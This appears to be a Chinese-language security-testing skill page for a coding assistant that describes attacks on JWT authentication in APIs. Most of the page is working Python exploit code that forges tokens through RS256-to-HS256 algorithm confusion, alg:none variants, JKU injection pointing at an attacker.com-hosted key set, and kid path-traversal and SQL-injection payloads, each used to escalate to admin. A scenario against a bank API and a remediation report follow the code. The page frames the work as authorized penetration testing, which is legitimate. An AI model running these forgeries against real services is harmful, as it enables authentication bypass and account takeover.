Exploits JWT algorithm confusion vulnerabilities by switching RS256 to HS256, using alg:none, or kid/jku/x5u injections. Useful for auditing API JWT auth security.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 测试使用 RS256(非对称)JWT 令牌进行认证的 API,检查是否存在降级到 HS256 的问题
Tests JWT implementations for vulnerabilities like algorithm confusion, none algorithm bypass, kid injection, and weak keys to achieve auth bypass and privilege escalation. Useful for auditing JWT in APIs, SSO, and OAuth.
Exploits JWT algorithm confusion in APIs by switching alg to HS256/none or injecting kid/jku/x5u for key control during authorized security tests.
Exploits JWT algorithm confusion vulnerabilities in APIs by manipulating alg header to HS256/none, or injecting kid/jku/x5u for key confusion and signature bypass. For authorized security testing of JWT auth.
Share bugs, ideas, or general feedback.
不适用于:未获书面授权的情况。利用 JWT 漏洞可能导致认证绕过和账户接管。
PyJWT、cryptography 和 requests 库import base64
import json
import requests
import hmac
import hashlib
import time
BASE_URL = "https://target-api.example.com/api/v1"
# 捕获有效的 JWT 令牌
login_resp = requests.post(f"{BASE_URL}/auth/login",
json={"email": "test@example.com", "password": "TestPass123!"})
valid_token = login_resp.json().get("access_token", "")
# 解码 JWT 各部分
def decode_jwt(token):
parts = token.split('.')
if len(parts) != 3:
raise ValueError("Invalid JWT format")
def pad(s):
return s + '=' * (4 - len(s) % 4)
header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
return header, payload, parts[2]
header, payload, signature = decode_jwt(valid_token)
print(f"Algorithm: {header.get('alg')}")
print(f"Key ID: {header.get('kid', 'none')}")
print(f"Type: {header.get('typ')}")
print(f"JKU: {header.get('jku', 'none')}")
print(f"\nPayload: {json.dumps(payload, indent=2)}")
print(f"\nExpires: {time.ctime(payload.get('exp', 0))}")
from cryptography.hazmat.primitives import serialization
from cryptography.x509 import load_pem_x509_certificate
# 方法 1:JWKS 端点
jwks_url = f"{BASE_URL}/.well-known/jwks.json"
jwks_resp = requests.get(jwks_url)
if jwks_resp.status_code == 200:
jwks = jwks_resp.json()
print(f"JWKS keys found: {len(jwks.get('keys', []))}")
for key in jwks['keys']:
print(f" kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}")
# 从 JWKS 中提取 RSA 公钥
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.backends import default_backend
rsa_key = jwks['keys'][0] # 第一个密钥
n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')
e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')
public_key = RSAPublicNumbers(e, n).public_key(default_backend())
public_key_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}")
# 方法 2:从 OpenID 配置中获取
oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration")
if oidc_resp.status_code == 200:
jwks_uri = oidc_resp.json().get('jwks_uri')
print(f"JWKS URI from OIDC config: {jwks_uri}")
# 方法 3:在常见路径上暴露
for path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]:
resp = requests.get(f"{BASE_URL}{path}")
if resp.status_code == 200 and ("BEGIN" in resp.text or "keys" in resp.text):
print(f"Public key found at: {path}")
def forge_hs256_with_public_key(token, public_key_pem, modifications=None):
"""
算法混淆:使用 RSA 公钥作为密钥以 HS256 签名令牌。
若服务器使用信任 alg 头的通用 verify(),则会使用公钥验证 HMAC 签名,
从而与我们的签名匹配。
"""
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
# 按需修改载荷
if modifications:
payload.update(modifications)
# 创建 HS256 头
new_header = {"alg": "HS256", "typ": "JWT"}
# 编码头和载荷
header_b64 = base64.urlsafe_b64encode(
json.dumps(new_header).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload).encode()).decode().rstrip('=')
# 使用 RSA 公钥作为密钥,以 HMAC-SHA256 签名
signing_input = f"{header_b64}.{payload_b64}".encode()
# 使用原始 PEM 字节作为 HMAC 密钥
if isinstance(public_key_pem, str):
public_key_pem = public_key_pem.encode()
signature = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')
return f"{header_b64}.{payload_b64}.{sig_b64}"
# 攻击 1:使用相同声明的算法混淆
confused_token = forge_hs256_with_public_key(valid_token, public_key_pem)
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {confused_token}"})
print(f"Algorithm confusion (same claims): {resp.status_code}")
if resp.status_code == 200:
print("[CRITICAL] Algorithm confusion attack successful - RS256 to HS256")
# 攻击 2:通过算法混淆提升权限
admin_token = forge_hs256_with_public_key(valid_token, public_key_pem,
modifications={"role": "admin", "sub": "admin@example.com"})
resp = requests.get(f"{BASE_URL}/admin/users",
headers={"Authorization": f"Bearer {admin_token}"})
print(f"Algorithm confusion (admin): {resp.status_code}")
if resp.status_code == 200:
print("[CRITICAL] Admin access via algorithm confusion + claim manipulation")
# 攻击 3:尝试不同的公钥格式
key_formats = [
public_key_pem, # 完整 PEM
public_key_pem.strip(), # 去除首尾空白
public_key_pem.replace(b'\n', b''), # 无换行
public_key_pem.decode().split('\n')[1:-1], # 仅 Base64
]
for i, key_format in enumerate(key_formats):
if isinstance(key_format, list):
key_format = ''.join(key_format).encode()
elif isinstance(key_format, str):
key_format = key_format.encode()
token = forge_hs256_with_public_key(valid_token, key_format)
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {token}"})
if resp.status_code == 200:
print(f"[CRITICAL] Key format {i} worked for algorithm confusion")
def forge_none_algorithm(token, modifications=None):
"""创建使用 alg:none 变体的令牌,以绕过签名验证。"""
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
if modifications:
payload.update(modifications)
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload).encode()).decode().rstrip('=')
# 不同的 "none" 算法变体
none_variants = [
{"alg": "none", "typ": "JWT"},
{"alg": "None", "typ": "JWT"},
{"alg": "NONE", "typ": "JWT"},
{"alg": "nOnE", "typ": "JWT"},
{"typ": "JWT"}, # 完全缺少 alg
]
tokens = []
for variant_header in none_variants:
header_b64 = base64.urlsafe_b64encode(
json.dumps(variant_header).encode()).decode().rstrip('=')
# 不同的签名选项
sig_options = [
"", # 空签名
".", # 仅一个点
parts[2], # 原始签名
base64.urlsafe_b64encode(b'\x00').decode().rstrip('='), # 空字节
]
for sig in sig_options:
tokens.append(f"{header_b64}.{payload_b64}.{sig}")
return tokens
# 测试所有 none 算法变体
none_tokens = forge_none_algorithm(valid_token)
for i, token in enumerate(none_tokens):
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {token}"})
if resp.status_code == 200:
header = json.loads(base64.urlsafe_b64decode(token.split('.')[0] + '=='))
print(f"[CRITICAL] alg:none bypass #{i}: header={header}, sig_len={len(token.split('.')[2])}")
# 测试权限提升
admin_none_tokens = forge_none_algorithm(valid_token,
modifications={"role": "admin", "is_admin": True})
for token in admin_none_tokens:
resp = requests.get(f"{BASE_URL}/admin/users",
headers={"Authorization": f"Bearer {token}"})
if resp.status_code == 200:
print("[CRITICAL] Admin access via alg:none bypass")
break
import os
# 攻击:JKU(JWK Set URL)注入
# 托管攻击者控制的 JWKS,其中包含我们的密钥对
def generate_attacker_jwks():
"""为攻击者服务器生成 RSA 密钥对和 JWKS。"""
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
# 生成攻击者密钥对
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
public_key = private_key.public_key()
public_numbers = public_key.public_numbers()
n_b64 = base64.urlsafe_b64encode(
public_numbers.n.to_bytes(256, 'big')).decode().rstrip('=')
e_b64 = base64.urlsafe_b64encode(
public_numbers.e.to_bytes(3, 'big')).decode().rstrip('=')
jwks = {
"keys": [{
"kty": "RSA",
"kid": "attacker-key-1",
"use": "sig",
"alg": "RS256",
"n": n_b64,
"e": e_b64
}]
}
return private_key, jwks
attacker_private_key, attacker_jwks = generate_attacker_jwks()
# 创建 JKU 指向攻击者服务器的 JWT
def forge_jku_token(payload_modifications, jku_url):
"""创建用攻击者密钥签名、JKU 指向攻击者 JWKS 的 JWT。"""
payload = json.loads(base64.urlsafe_b64decode(valid_token.split('.')[1] + '=='))
payload.update(payload_modifications)
header = {
"alg": "RS256",
"typ": "JWT",
"kid": "attacker-key-1",
"jku": jku_url # 指向攻击者托管的 JWKS
}
header_b64 = base64.urlsafe_b64encode(
json.dumps(header).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload).encode()).decode().rstrip('=')
# 使用攻击者私钥签名
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding
signing_input = f"{header_b64}.{payload_b64}".encode()
signature = attacker_private_key.sign(
signing_input,
padding.PKCS1v15(),
hashes.SHA256()
)
sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')
return f"{header_b64}.{payload_b64}.{sig_b64}"
# 测试各种 URL 的 JKU 注入
jku_urls = [
"https://attacker.com/.well-known/jwks.json",
"https://attacker.com/jwks",
# 绕过 URL 过滤器
f"{BASE_URL}@attacker.com/jwks",
f"{BASE_URL}/.well-known/jwks.json#@attacker.com",
]
for jku in jku_urls:
token = forge_jku_token({"role": "admin"}, jku)
# 注意:此测试需要在指定 URL 上托管攻击者 JWKS
print(f" JKU injection payload generated for: {jku}")
# KID 注入(kid 参数中的 SQL 注入)
kid_injection_payloads = [
"../../../../../../dev/null", # 路径遍历到空文件
"../../../../../../proc/sys/kernel/hostname",
"' UNION SELECT 'secret-key' -- ", # kid 查找中的 SQL 注入
"' OR '1'='1",
"../../../etc/passwd",
"https://attacker.com/key.pem", # 基于 URL 的 kid
]
for kid in kid_injection_payloads:
modified_header = {"alg": "HS256", "typ": "JWT", "kid": kid}
header_b64 = base64.urlsafe_b64encode(
json.dumps(modified_header).encode()).decode().rstrip('=')
payload_b64 = valid_token.split('.')[1]
# 使用注入预期的密钥材料签名
signing_input = f"{header_b64}.{payload_b64}".encode()
# 对于路径遍历到 /dev/null,密钥为空
sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(sig).decode().rstrip('=')
token = f"{header_b64}.{payload_b64}.{sig_b64}"
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {token}"})
if resp.status_code == 200:
print(f"[CRITICAL] KID injection successful: {kid}")
| 术语 | 定义 |
|---|---|
| 算法混淆(Algorithm Confusion) | 服务器信任 JWT 中的 alg 头,允许攻击者从 RS256 切换到 HS256,并以公钥作为 HMAC 密钥进行签名 |
| alg:none 攻击 | 将 JWT 算法设置为 "none",若库不强制算法选择,则可完全绕过签名验证 |
| JKU 注入 | 操纵 jku(JWK Set URL)头,使其指向攻击者控制的 JWKS 端点,从而提供自己的签名密钥 |
| KID 注入 | 向 kid(密钥 ID)头参数注入 SQL、路径遍历或 URL 载荷,以操纵密钥选择或读取任意文件 |
| 密钥混淆(Key Confusion) | 服务器从非对称验证错误切换为对称验证时,使用 RSA 公钥作为 HMAC 密钥 |
| JWKS(JSON Web Key Set) | 包含服务器用于验证 JWT 签名的公钥的 JSON 结构,通常托管在知名端点上 |
背景:某银行 API 使用 RS256 签名的 JWT 进行认证。JWKS 端点公开可访问。该 API 处理需要高保证认证的金融交易。
方法:
/.well-known/jwks.json 处的 JWKS 端点提取 RSA 公钥"alg": "HS256" 头的新 JWT,使用 RSA 公钥作为 HMAC 密钥签名GET /api/v1/users/me —— 服务器接受(确认算法混淆)"role": "admin" 和 "sub": "admin@bank.com",以公钥签名GET /api/v1/admin/transactions 返回全部交易记录注意事项:
## 发现:JWT 算法混淆导致认证绕过
**ID**:API-JWT-001
**严重性**:严重(CVSS 9.8)
**CVE 参考**:CVE-2024-54150(相关模式)
**受影响组件**:JWT 认证中间件
**描述**:
API 的 JWT 验证库信任 JWT 头中指定的算法,而非强制使用固定算法。攻击者可
将算法从 RS256 更改为 HS256,并使用从 JWKS 端点获取的服务器 RSA 公钥作为
HMAC 密钥对令牌签名。服务器随后使用同一公钥验证 HMAC 签名,验证通过,使
攻击者能够为任意角色的任意用户伪造令牌。
**攻击链**:
1. 获取公钥:GET /.well-known/jwks.json
2. 创建 JWT:{"alg":"HS256","typ":"JWT"}.{"sub":"admin","role":"admin"}
3. 使用 RSA 公钥 PEM 作为密钥,以 HMAC-SHA256 签名
4. 访问管理 API:GET /api/v1/admin/transactions -> 200 OK
**影响**:
完全认证绕过。攻击者可为包括管理员在内的任意用户伪造令牌,
访问所有金融交易、用户数据和管理功能。
**修复建议**:
1. 在服务器配置层面强制使用预期算法:jwt.verify(token, key, algorithms=["RS256"])
2. 切勿信任 JWT 中的 alg 头进行算法选择
3. 将 JWT 库升级到具备算法混淆保护的最新版本
4. 考虑使用 EdDSA(Ed25519),该算法不存在对称/非对称混淆风险
5. 实现令牌绑定,防止接受伪造令牌